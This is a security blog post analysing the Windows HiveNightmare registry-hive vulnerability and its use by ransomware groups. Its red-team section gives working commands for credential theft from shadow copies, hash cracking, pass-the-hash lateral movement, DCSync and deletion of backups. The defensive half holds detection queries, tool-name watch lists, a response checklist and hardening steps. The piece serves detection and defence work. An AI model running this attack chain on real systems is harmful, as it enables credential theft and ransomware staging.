HiveNightmare 2025: Why CVE-2021-36934 Still Powers Active Ransomware Campaigns — Complete Red & Blue Team Analysis

CVE-2021-36934, colloquially known as HiveNightmare or SeriousSAM, remains one of the most persistently exploited Windows privilege escalation vulnerabilities in active ransomware campaigns as of 2025. Despite public disclosure in July 2021 and available patches, significant populations of unpatched Windows 10 endpoints continue to expose SAM, SYSTEM, and SECURITY registry hive files through Volume Shadow Copy Service (VSS) misconfigurations. This post delivers a practitioner-grade red and blue team breakdown: full exploitation chain with working commands, MITRE ATT&CK mapping, validated Microsoft Sentinel KQL detection queries, Microsoft Defender for Endpoint advanced hunting queries, and a complete incident response checklist. The threat is not theoretical – Hunters International, the ransomware group operating with Hive’s leaked codebase, has been observed leveraging registry hive credential theft as a first-stage post-exploitation step against legacy enterprise environments well into 2025.

Vulnerability Anatomy: CVE-2021-36934 Deep Dive

The Root Cause: DACL Misconfiguration on Hive Files

Windows stores authentication credential data in three registry hives on disk:

• C:WindowsSystem32configSAM – Security Account Manager, contains local account NTLM hashes
• C:WindowsSystem32configSYSTEM – Contains the SYSKEY bootkey used to decrypt SAM entries
• C:WindowsSystem32configSECURITY – LSA secrets, cached domain credentials

Under normal operation, these files are locked by the SYSTEM process and inaccessible to standard users. However, starting with Windows 10 version 1809 (Redstone 5, build 17763), Microsoft introduced a Discretionary Access Control List (DACL) change that inadvertently granted the built-in BUILTINUsers group read access to these files.

The specific DACL misconfiguration on affected builds assigns the following permissions:

icacls C:WindowsSystem32configSAM

C:WindowsSystem32configSAM
  NT AUTHORITYSYSTEM:(I)(F)
  BUILTINAdministrators:(I)(F)
  BUILTINUsers:(I)(RX)          # <-- This should NOT be here

The (I) flag indicates inherited permissions, and (RX) grants read and execute access. This means any standard, non-privileged domain or local user account can theoretically read the SAM file – but only through a secondary access vector.

The Volume Shadow Copy Bypass

The live SAM, SYSTEM, and SECURITY files at C:WindowsSystem32config remain locked by the OS. The exploitation path requires the presence of Volume Shadow Copies (VSS snapshots) on the system drive. VSS snapshots expose point-in-time copies of the filesystem, including these hive files – and critically, the locks on the live files do not extend to the shadow copy replicas.

When a standard user navigates to a VSS snapshot path such as:

\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSAM

…the inherited permissive DACL allows the read to succeed. The SYSTEM process lock on the live file is entirely circumvented.

Affected Windows Builds

Windows 7, 8.1, and pre-1809 Windows 10 builds were not affected because the permissive DACL was not present. The patch (KB5004442 for Windows 10) corrects the ACL and also requires manual cleanup of existing shadow copies on already-affected systems.

Why Unpatched Systems Persist in 2025

Threat intelligence from 2024-2025 indicates that HiveNightmare exploitation remains viable in several real-world scenarios: organizations running extended support contracts on Windows 10 1809/1909 LTSC builds, healthcare and manufacturing OT-adjacent environments where system updates require extended validation cycles, and Windows Server 2019 instances where VSS is configured for backup purposes but patch compliance is inconsistent. The presence of VSS snapshots is near-universal on systems using Windows Backup, third-party backup agents (Veeam, Backup Exec), or simply default Windows shadow copy scheduling.

The Hive Connection: From FBI Takedown to Hunters International

Hive Ransomware Operations (2021-2023)

The Hive ransomware group emerged in June 2021 – the same month CVE-2021-36934 was publicly disclosed – and operated as a Ransomware-as-a-Service (RaaS) platform through January 2023. Hive was particularly aggressive against healthcare, education, and critical infrastructure, claiming over 1,500 victims across more than 80 countries. FBI analysis of Hive intrusions documented a consistent TTP pattern that included local privilege escalation via HiveNightmare as an early post-exploitation step, particularly against environments where domain-level access had not yet been achieved.

The attack chain observed in Hive operations followed this general sequence:

1. Initial access via phishing, exposed RDP, or VPN credential stuffing
2. Local privilege escalation using CVE-2021-36934 on unpatched endpoints
3. NTLM hash extraction and pass-the-hash lateral movement
4. Active Directory enumeration and domain privilege escalation
5. Data exfiltration to Hive-controlled infrastructure
6. Ransomware payload deployment via PsExec or WMIC

The FBI Takedown – January 2023

In January 2023, the US Department of Justice announced that the FBI had successfully infiltrated Hive’s infrastructure in July 2022, spending approximately six months covertly operating within the network. During this period, the FBI obtained over 300 decryption keys for active victims and over 1,000 keys for previous victims, preventing approximately $130 million in ransom payments. On January 26, 2023, the FBI seized Hive’s servers and dark web sites, effectively dismantling the group’s operational infrastructure.

Hunters International: The Hive Codebase Inheritance

By October 2023, security researchers at Bitdefender and Group-IB identified a new ransomware group – Hunters International – operating with malware that shared significant code overlap with the Hive ransomware codebase. Binary analysis revealed structural similarities in the encryption routines, file extension targeting logic, and ransom note formatting. While Hunters International denied being a direct rebrand of Hive, the consensus in the threat intelligence community is that actors obtained Hive’s source code – likely through the period when the FBI had covert access – and repackaged it under new branding.

Hunters International has been active throughout 2024 and into 2025, with confirmed intrusions against manufacturing, healthcare, and legal services sectors. Critically, their TTPs retain the registry hive credential theft methodology. Incident response data from 2024 Hunters International engagements shows the group’s affiliates continuing to use secretsdump-based credential extraction within the first hours of access on legacy Windows 10 endpoints, suggesting the HiveNightmare TTP is embedded in their standard playbook.

Intelligence Note: The persistence of this TTP into 2025 is not purely about the vulnerability itself – it reflects a broader attacker preference for low-complexity, high-reliability privilege escalation methods. When a technique works reliably against a measurable percentage of enterprise targets, threat actors have no incentive to retire it.

Red Team: Full Exploitation Chain

Phase 1: Verify VSS Availability and Vulnerable Configuration

From a low-privileged shell on a target Windows system, first confirm that Volume Shadow Copies exist:

# Check for Volume Shadow Copies (works as standard user)
vssadmin list shadows

# Alternative using WMI (no admin required for query)
wmic shadowcopy list brief

# PowerShell equivalent
Get-WmiObject Win32_ShadowCopy | Select-Object DeviceObject, VolumeName, InstallDate

Next, verify the permissive DACL is present on the live hive files:

# Check ACL on SAM file
icacls C:WindowsSystem32configSAM

# Specifically look for BUILTINUsers having RX permissions
# If you see: BUILTINUsers:(I)(RX) - the system is vulnerable

Phase 2: Extract Hive Files from Shadow Copies

# Identify the most recent shadow copy path
$shadow = (Get-WmiObject Win32_ShadowCopy | Sort-Object InstallDate -Descending)[0].DeviceObject

# Copy the three critical hive files
copy "\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSAM" C:TempSAM
copy "\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM" C:TempSYSTEM
copy "\?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSECURITY" C:TempSECURITY

For automation, the publicly available HiveNightmare PoC by GossiTheDog handles enumeration and extraction:

.HiveNightmare.exe
# Output: Creates SAM-haxx, SYSTEM-haxx, SECURITY-haxx in current directory

Phase 3: Offline Hash Extraction with secretsdump.py

Transfer the extracted hive files to an attacker-controlled Linux system and use Impacket’s secretsdump.py:

# Install impacket
pip3 install impacket

# Extract NTLM hashes from offline hive files
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# Expected output:
# [*] Target system bootKey: 0x1234567890abcdef1234567890abcdef
# [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

The SECURITY hive also reveals LSA secrets including cached domain credentials (NL$KM entries) and service account passwords:

# For cracking MSCACHE2 hashes with hashcat:
hashcat -m 2100 cached_hashes.txt rockyou.txt --rules-file best64.rule

Phase 4: Pass-the-Hash Lateral Movement

With valid NT hashes, lateral movement proceeds without cracking plaintext passwords:

# Remote command execution via SMB using NT hash
python3 psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@192.168.1.0/24

# WMI-based execution (lower footprint)
python3 wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@192.168.1.101 "whoami"

# CrackMapExec for bulk lateral movement
crackmapexec smb 192.168.1.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth -x "net user /domain"

Phase 5: Domain Privilege Escalation

# DCSync attack - dump domain hashes remotely
python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 
  "DOMAIN/DomainAdmin@DC01.domain.local" -just-dc

# BloodHound collection for attack path analysis
python3 bloodhound.py -u compromised_user --hashes :NTHASH 
  -d domain.local -dc DC01.domain.local -c All

Phase 6: Pre-Ransomware Backup Destruction

# Disable VSS and delete shadow copies
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures

# Stop backup services
net stop "Volume Shadow Copy" /y
net stop wbengine /y
net stop SDRSVC /y

MITRE ATT&CK Mapping

Blue Team Detection Strategy

Endpoint Layer

File Access Monitoring: Configure Windows auditing policy to audit object access on C:WindowsSystem32config and look for read events where the process is not System, LSASS.exe, or known backup agents. The shadow copy device path pattern \?GLOBALROOTDeviceHarddiskVolumeShadowCopy*WindowsSystem32config is an extremely high-fidelity indicator when accessed by non-administrative processes.

Process Activity: Monitor for vssadmin.exe being invoked by non-administrator users, particularly with list shadows arguments. Flag copy commands targeting shadow copy device paths to SAM/SYSTEM/SECURITY files.

Credential Dumping Signatures: Impacket’s secretsdump leaves artifacts: temporary files SYSTEM.save, SAM.save, and SECURITY.save in temp directories when run remotely. The tool also accesses the \ADMIN$ share remotely, followed by a ServiceInstall event in the System event log.

Network Layer

SMB Anomalies: Pass-the-hash attacks are characterized by NTLM authentication over SMB where the source host has no prior authentication relationship with the destination. Monitor for:

• NTLM authentication to multiple hosts from a single source within a short time window
• New SMB connections to ADMIN$ or IPC$ shares from workstation-to-workstation
• NTLM authentication from hosts that typically authenticate via Kerberos

Identity Layer

Event ID 4624 Anomalies: Pass-the-hash generates Logon Type 3 (Network) events with Authentication Package: NTLM where you would normally expect Kerberos. Flag NTLM Type 3 logons for workstation-to-workstation authentications, particularly where the account is a local Administrator.

Event ID 4662: DCSync attacks generate replication events detectable via Event ID 4662 with Object Type domainDNS and Access Mask 0x100 (Control Access) from a non-domain-controller source.

Microsoft Sentinel KQL Detection Queries

Query 1: Shadow Copy Access to Registry Hive Files

// Detect access to SAM/SYSTEM/SECURITY via Volume Shadow Copy paths
// High-fidelity indicator of CVE-2021-36934 exploitation attempt
SecurityEvent
| where EventID == 4663
| where ObjectType == "File"
| where ObjectName has "HarddiskVolumeShadowCopy"
| where ObjectName has_any ("\config\SAM", "\config\SYSTEM", "\config\SECURITY")
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where AccessMask in ("0x1", "0x10", "0x80", "0x20000", "0x120089")
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName,
          ObjectName, AccessMask, ProcessName, IpAddress
| sort by TimeGenerated desc

Query 2: NTLM Pass-the-Hash Lateral Movement Detection

// Detect potential pass-the-hash lateral movement
// Looks for NTLM Type 3 network logons where Kerberos would be expected
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where TargetUserName !endswith "$"
| where WorkstationName != ""
| where Computer !contains WorkstationName  // Source != Destination
| where TargetUserName !in ("ANONYMOUS LOGON", "-")
| summarize LogonCount = count(),
            TargetHosts = make_set(Computer),
            SourceWorkstations = make_set(WorkstationName)
  by TargetUserName, bin(TimeGenerated, 1h)
| where LogonCount > 5
| where array_length(TargetHosts) > 2
| sort by LogonCount desc

Query 3: VSS Enumeration and Shadow Copy Deletion

// Detect vssadmin activity associated with ransomware pre-deployment
SecurityEvent
| where EventID in (4688, 4689)
| where NewProcessName has "vssadmin.exe" or NewProcessName has "wmic.exe"
| where CommandLine has_any (
    "list shadows",
    "delete shadows",
    "shadowcopy delete",
    "resize shadowstorage"
)
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName,
          NewProcessName, CommandLine, ParentProcessName
| sort by TimeGenerated desc

Query 4: Credential Dumping Process Indicators

// Detect process activity indicative of credential dumping
let SuspiciousProcessNames = dynamic([
    "secretsdump", "mimikatz", "gsecdump", "fgdump", "pwdump",
    "procdump", "lsassy", "crackmapexec", "impacket"
]);
let SuspiciousCommandLinePatterns = dynamic([
    "sekurlsa", "lsadump", "dcsync", "sam.save", "system.save",
    "security.save", "ntds.dit", "-hashes", "-just-dc"
]);
SecurityEvent
| where EventID == 4688
| where NewProcessName has_any (SuspiciousProcessNames)
    or CommandLine has_any (SuspiciousCommandLinePatterns)
    or (NewProcessName has "cmd.exe" and CommandLine has "config"
        and CommandLine has_any ("SAM", "SYSTEM", "SECURITY"))
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName,
          NewProcessName, CommandLine, ParentProcessName, ParentProcessId
| sort by TimeGenerated desc

Microsoft Defender for Endpoint Advanced Hunting Queries

MDE Query 1: HiveNightmare Exploitation Indicators

// MDE Advanced Hunting: Detect HiveNightmare exploitation
DeviceFileEvents
| where ActionType in ("FileRead", "FileCopied", "FileCreated")
| where FolderPath has "HarddiskVolumeShadowCopy"
| where FileName in~ ("SAM", "SYSTEM", "SECURITY")
    or FolderPath has @"config"
| where InitiatingProcessAccountName != "SYSTEM"
| where InitiatingProcessFileName !in~ (
    "svchost.exe", "MsMpEng.exe", "backgroundTaskHost.exe",
    "SearchIndexer.exe", "TiWorker.exe"
)
| project Timestamp, DeviceName, DeviceId,
          InitiatingProcessAccountName, InitiatingProcessAccountDomain,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          InitiatingProcessParentFileName, FolderPath, FileName, ActionType
| sort by Timestamp desc

MDE Query 2: Pass-the-Hash and Lateral Movement via SMB

// MDE Advanced Hunting: Detect impacket-based lateral movement
DeviceProcessEvents
| where ProcessCommandLine has_any (
    "psexec", "wmiexec", "smbexec", "atexec", "dcomexec"
)
    or (FileName in~ ("cmd.exe", "powershell.exe")
        and ProcessCommandLine has @"\")
| where InitiatingProcessFileName !in~ ("explorer.exe", "msiexec.exe")
| join kind=inner (
    DeviceNetworkEvents
    | where RemotePort in (445, 135)
    | where ActionType == "ConnectionSuccess"
    | project DeviceName, DeviceId, NetworkTimestamp = Timestamp,
              RemoteIP, RemotePort, InitiatingProcessId = InitiatingProcessId
) on DeviceName, InitiatingProcessId
| where abs(datetime_diff('second', Timestamp, NetworkTimestamp)) < 30
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
          InitiatingProcessFileName, RemoteIP, RemotePort
| sort by Timestamp desc

MDE Query 3: Pre-Ransomware Shadow Copy and Recovery Destruction

// MDE Advanced Hunting: Detect backup and recovery destruction TTPs
let BackupDestructionCommands = dynamic([
    "delete shadows", "deleteallshadows", "resize shadowstorage",
    "recoveryenabled no", "bootstatuspolicy ignoreallfailures",
    "shadowcopy delete", "wbadmin delete"
]);
let BackupServiceNames = dynamic([
    "wbengine", "SDRSVC", "vss", "SQLWriter", "swprv"
]);
DeviceProcessEvents
| where ProcessCommandLine has_any (BackupDestructionCommands)
    or (FileName in~ ("sc.exe", "net.exe", "net1.exe")
        and ProcessCommandLine has "stop"
        and ProcessCommandLine has_any (BackupServiceNames))
    or (FileName in~ ("bcdedit.exe")
        and ProcessCommandLine has_any ("recoveryenabled", "bootstatuspolicy"))
| project Timestamp, DeviceName, DeviceId, AccountName, AccountDomain,
          FileName, ProcessCommandLine, InitiatingProcessFileName,
          InitiatingProcessCommandLine
| sort by Timestamp desc
| extend RiskScore = case(
    ProcessCommandLine has "delete shadows", "CRITICAL",
    ProcessCommandLine has "recoveryenabled no", "HIGH",
    ProcessCommandLine has "stop" and ProcessCommandLine has_any (BackupServiceNames), "HIGH",
    "MEDIUM"
)

Incident Response Checklist

1. Immediate Containment: Isolate confirmed compromised endpoints from the network. Do not power off – preserve volatile memory for forensic imaging. Use EDR network isolation where available rather than physical disconnection to maintain forensic telemetry.
2. Scope Identification: Run the Sentinel KQL Query 2 (NTLM lateral movement) across your environment to identify all systems that received NTLM Type 3 logons from the initially compromised host within the preceding 72 hours.
3. Determine VSS Availability: Query your environment for systems with active shadow copies using Get-WmiObject Win32_ShadowCopy via your management platform.
4. DACL Vulnerability Assessment: Run an enterprise-wide check verifying if BUILTINUsers has read permissions on C:WindowsSystem32configSAM. Any system returning a hit should be treated as potentially compromised.
5. Credential Reset – Priority Order: Reset: (a) local Administrator accounts on all exposed systems, (b) service accounts with passwords in LSA secrets, (c) cached domain user accounts, (d) all domain user accounts if a DC was in scope.
6. KRBTGT Reset: If DCSync activity is indicated, reset the KRBTGT account password twice with a minimum 10-hour interval between resets to invalidate all outstanding Kerberos tickets.
7. Forensic Evidence Collection: Preserve Windows Event Logs (Security, System, Application), MFT, USN journal, prefetch files, and shadow copy metadata before any remediation steps.
8. Verify Patch Status: Confirm KB5004442 (or later cumulative update) is installed. Verify ACL correction by running icacls C:WindowsSystem32configSAM post-patch – the BUILTINUsers entry should be absent.
9. NTLM Audit: Identify systems that could be configured to require Kerberos exclusively. Document legitimate NTLM dependencies before blocking to avoid operational disruption.
10. Threat Hunt for Persistence: Search for new scheduled tasks, services, registry Run keys, and WMI subscriptions created during the compromise window.
11. Notify Legal and Compliance: If the SECURITY hive was extracted or data exfiltration is suspected, initiate your data breach notification assessment. Hunters International operates a data leak site.

Remediation and Hardening

Primary Patch: KB5004442

Apply KB5004442 or a later cumulative update to all affected Windows 10 (1809-21H1) and Windows Server 2019 systems. The patch corrects the DACL by removing the BUILTINUsers permission from the hive files.

Critical Post-Patch Step: Delete all pre-patch shadow copies, which retain the vulnerable permissions:

# Run as Administrator after applying KB5004442
vssadmin delete shadows /all /quiet

# Verify the DACL correction
icacls C:WindowsSystem32configSAM
# Expected: NO BUILTINUsers entry

Credential Guard Deployment

Windows Defender Credential Guard isolates LSASS in a virtualization-based security container, making NTLM hash extraction via secretsdump or Mimikatz significantly more difficult:

# Enable Credential Guard (requires UEFI Secure Boot and TPM 2.0)
reg add "HKLMSYSTEMCurrentControlSetControlDeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
reg add "HKLMSYSTEMCurrentControlSetControlLsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f

Protected Users Security Group

Add privileged accounts to the Protected Users security group. Members cannot authenticate using NTLM, are forced to use Kerberos, and their credentials are not cached – directly neutralizing pass-the-hash for these accounts:

Add-ADGroupMember -Identity "Protected Users" -Members "DomainAdmin1", "ServiceAcct01"

Conclusion

CVE-2021-36934 represents a textbook example of a vulnerability that practitioners assume has been eradicated but continues to surface in real-world intrusions years after public disclosure. The HiveNightmare exploit threat landscape in 2025 is defined by opportunistic exploitation against legacy endpoints where patch compliance lags and VSS snapshots are abundant – conditions that describe a significant portion of enterprise Windows environments, particularly in OT-adjacent, healthcare, and SMB segments.

The Hive-to-Hunters International lineage demonstrates that TTPs outlive threat actor organizations. When a codebase transfers between groups, techniques like registry hive extraction via Volume Shadow Copy bypass carry forward as proven, reliable methods. Blue teams cannot assume that the FBI’s January 2023 Hive takedown eliminated this attack vector. Hunters International confirmed it did not.

Effective defense requires patching as the foundation, but patching alone is insufficient. Shadow copy remediation post-patch, Credential Guard deployment, Protected Users group membership for privileged accounts, and NTLM restriction policies are the layered controls that collectively reduce risk to an acceptable level. The Sentinel KQL queries and MDE Advanced Hunting queries in this post should be deployed immediately and tuned to your environment – any gap in coverage represents an unacceptable blind spot against a well-documented and actively exploited TTP.

Stay paranoid. Patch aggressively. Hunt continuously.